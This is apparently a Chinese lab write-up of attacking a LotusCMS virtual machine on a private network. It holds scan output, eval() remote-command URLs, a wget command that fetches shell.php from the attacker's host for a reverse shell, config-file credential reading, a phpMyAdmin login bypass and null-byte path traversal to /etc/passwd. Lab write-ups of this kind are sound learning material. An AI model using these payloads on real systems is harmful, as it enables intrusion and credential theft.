# 靶场搭建
复制后,直接添加一张网卡,配置成 NAT 模式
IP 地址: 192.168.74.135
# 信息收集
# nmap
快速做一个全端口扫描,看一下开了哪服务
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -p- 192.168.74.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-07 01:17 EDT
Nmap scan report for bogon (192.168.74.135)
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:F7:33:D5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
只有 22、80,那么可以考虑 SSH 爆破和 80 层面的进攻
再收集一下 Web 层面的信息
# dirsearch
D:\PentestTool\Pentest_ToolBox\Gather_Infomation\dirsearch>dirsearch -u 192.168.74.135
dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: D:\PentestTool\Pentest_ToolBox\Gather_Infomation\dirsearch\reports\_192.168.74.135\_24-04-07_14-35-18.txt
Target: http://192.168.74.135/
[14:35:20] Starting:
[14:35:25] 403 - 332B - /.ht_wsr.txt
[14:35:25] 403 - 335B - /.htaccess.bak1
[14:35:25] 403 - 335B - /.htaccess.orig
[14:35:25] 403 - 337B - /.htaccess.sample
[14:35:25] 403 - 335B - /.htaccess.save
[14:35:25] 403 - 335B - /.htaccess_orig
[14:35:25] 403 - 336B - /.htaccess_extra
[14:35:25] 403 - 333B - /.htaccessOLD
[14:35:25] 403 - 325B - /.htm
[14:35:25] 403 - 334B - /.htaccessOLD2
[14:35:25] 403 - 326B - /.html
[14:35:25] 403 - 335B - /.htpasswd_test
[14:35:25] 403 - 333B - /.htaccess_sc
[14:35:25] 403 - 331B - /.htpasswds
[14:35:25] 403 - 332B - /.httr-oauth
[14:35:25] 403 - 333B - /.htaccessBAK
[14:36:02] 301 - 355B - /cache -> http://192.168.74.135/cache/
[14:36:10] 200 - 688B - /core/fragments/moduleInfo.phtml
[14:36:10] 301 - 354B - /core -> http://192.168.74.135/core/
[14:36:12] 403 - 325B - /data
[14:36:12] 403 - 326B - /data/
[14:36:12] 403 - 337B - /data/adminer.php
[14:36:12] 403 - 337B - /data/autosuggest
[14:36:12] 403 - 334B - /data/backups/
[14:36:12] 403 - 350B - /data/DoctrineORMModule/cache/
[14:36:12] 403 - 332B - /data/debug/
[14:36:12] 403 - 332B - /data/cache/
[14:36:12] 403 - 350B - /data/DoctrineORMModule/Proxy/
[14:36:12] 403 - 332B - /data/files/
[14:36:12] 403 - 331B - /data/logs/
[14:36:12] 403 - 335B - /data/sessions/
[14:36:12] 403 - 330B - /data/tmp/
[14:36:20] 200 - 23KB - /favicon.ico
[14:36:23] 301 - 357B - /gallery -> http://192.168.74.135/gallery/
[14:36:44] 301 - 357B - /modules -> http://192.168.74.135/modules/
[14:36:44] 200 - 2KB - /modules/
[14:36:54] 301 - 360B - /phpmyadmin -> http://192.168.74.135/phpmyadmin/
[14:36:56] 401 - 520B - /phpmyadmin/scripts/setup.php
[14:36:56] 200 - 8KB - /phpmyadmin/
[14:36:56] 200 - 8KB - /phpmyadmin/index.php
[14:37:18] 301 - 355B - /style -> http://192.168.74.135/style/
[14:37:27] 200 - 18B - /update.php
Task Completed
点点看看,首页有登录和 CMS 信息、modules 里面有一个备份文件夹、gallery 中存在注入点,但是 URL 是写死的,需要修改 host 文件进行,我懒得改。
还有就是 phpmyadmin 可以尝试登录
# 汇总
可以尝试的攻击路线如下:
- ssh 爆破
- phpmyadmin 爆破
- CMS 利用
- 登录页面和文章页面 sql 注入
# 漏洞利用
爆破类的懒得进行,没有好用的字典
# Lotus CMS
直接 searchsploit 看看有没有相应的攻击模块
┌──(root㉿kali)-[~]
└─# searchsploit LotusCMS
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Exe | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
看到有个 rb 的文件,让我想去 metasploit 找一找是不是有相应的攻击模块,这样方便一些
msf6 > search lotusCMS
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/lcms_php_exec
那么我们直接利用就好了
试了一下,明明可以利用的,但是就是不行,提示 [*] Exploit completed, but no session was created.
。不清楚问题出现在了什么地方,我还尝试吧 searchsploit 中的模块导入 metasploit 中,效果是一样的。
研究了一下这个攻击模块的具体内容,发现了 exp 的点,其实就是一个命令执行
http://192.168.74.1135/index.php?page='.phpinfo().'
这样就可以进行执行,查看一下权限: http://192.168.74.135/index.php?page=%27.system(%27whoami%27).%27
发现是 www-data
的用户,那么权限十分有限
通过 RCE 上传一个 shell.php: http://192.168.74.135/index.php?page=%27.system(%27wget%20192.168.74.129:8888%20-O%20/tmp/shell.php%27).%27
然后反弹 shell http://192.168.74.135/index.php?page=%27.system(%27php%20/tmp/shell.php%27).%27
没弹出来,发现是因为没有执行权限啊 J8: http://192.168.74.135/index.php?page=%27.system(%27ls%20-al%20/tmp/shell.php%27).%27
查看一下哪里有执行权限: http://192.168.74.135/index.php?page=%27.system(%27ls%20-al%27).%27
上传一下看看: 192.168.74.135/index.php?page='.system('wget 192.168.74.129:8888 -O core/shell.php').'
同样没有执行权限,G
查看一下漏洞出现的位置:
if(file_exists("core/plugs/".$plugin."Starter.php")){ | |
//Include Page fetcher | |
include("core/plugs/".$plugin."Starter.php"); | |
//Fetch the page and get over loading cache etc... | |
eval("new ".$plugin."Starter('".$page."');"); | |
} |
也许可以尝试向他这个文件夹都没有执行权限,那尝试尝试向文件写入一句话?
查了一下权限,都没有写权限卡住了,那回到了读取 /etc/shadow,爆破 ssh 密码了。郁闷
灵光一闪,翻一下 php 文件,找一找数据库连接的账号?
# phpmyadmin
查看数据库账号密码: http://192.168.74.135/index.php?page=%27.system(%27tac%20f%20gallery/gconfig.php%27).%27
账号: root
,密码: fuckeyou
可以登录到 phpmyadmin 中去
登进去之后发现版本是 2.11.3
的,有万能密码
账号: 'localhost'@'@"
,密码为空就能直接登录进去
但是登录进来之后没找到 getshell 的方法,累了
# 任意文件读取
看到了 system 参数,疑心大发,fuzz 一下发现存在任意文件读取: http://192.168.74.135/index.php?system=../../../../../etc/passwd%00A
,需要进行 00 截断
其实这里看源代码是一个文件包含,也可以尝试上传一句话后文件包含进入,累了不想改了。
没拿下来 shell,有拿下来 shell 的大哥求指点迷津